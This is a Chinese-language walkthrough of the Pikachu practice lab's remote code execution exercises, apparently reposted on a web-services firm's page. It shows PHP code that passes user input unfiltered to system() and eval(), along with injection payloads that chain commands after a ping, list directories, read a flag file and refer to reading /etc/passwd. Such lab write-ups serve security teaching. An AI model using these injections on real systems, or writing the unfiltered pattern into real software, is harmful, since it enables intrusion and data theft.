Pikachu之RCE
2026/7/17 4:11:36 网站建设 项目流程

exec"ping"

这是一个ping窗口,如果程序没有进行过滤,那么我们就可以在后面拼接命令进行执行

我们先ping一下127.0.0.1

对于windows:

&&:逻辑与,当左边的命令执行成功,才会执行右边的命令,比如ping 127.0.0.1 && whoami(如果ping失败,则执行whoami)

||:逻辑或,当左边的命令执行失败,才会执行右边的命令,比如ping 不存在的IP || whoami(如果ping失败,则执行whoami)

|:管道符,将左边命令的输出结果,作为右边命令的输入,常用于“数据过滤”或“编码转换”(如 cat /etc/passwd | base64 用于绕过内容过滤)

$ip=$_GET['ip']; system("ping ".$ip);

我们的输入会直接加在ping 后面,输入127.0.0.1,会变成system("ping 127.0.0.1"),然后系统执行ping 127.0.0.1命令

127.0.0.1 && ping www.baidu.com

这等价于

system("ping 127.0.0.1 && ping www.baidu.com")

www.a.shifen.com是百度的别名,我们成功执行了后面的命令

我们就可以通过这样的方式来远程执行命令,我这边在我电脑桌面上放了一个flag.txt,我们尝试去读取出来

127.0.0.1 && dir C:\

127.0.0.1 && dir C:\Users\Z\Desktop

127.0.0.1 && type C:\Users\Z\Desktop\flag.txt

成功拿到flag

exec"eval"

$code = $_POST['code']; eval($code);

eval():把字符串当成 PHP 代码执行。

这也是程序没有进行过滤,导致将用户的非法输入进行执行

我们输入

echo "hello";

程序看到的是

eval("echo 'hello';");

便会打印hello

phpinfo();
eval("phpinfo();");

system("whoami");

system("type C:\Users\Z\Desktop\flag.txt");

发现不会执行,这是因为在 PHP 双引号字符串中,反斜杠 \ 是转义符,因此 Windows 路径容易出问题

system("type C:\\Users\\Z\\Desktop\\flag.txt");

执行成功,拿到flag

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询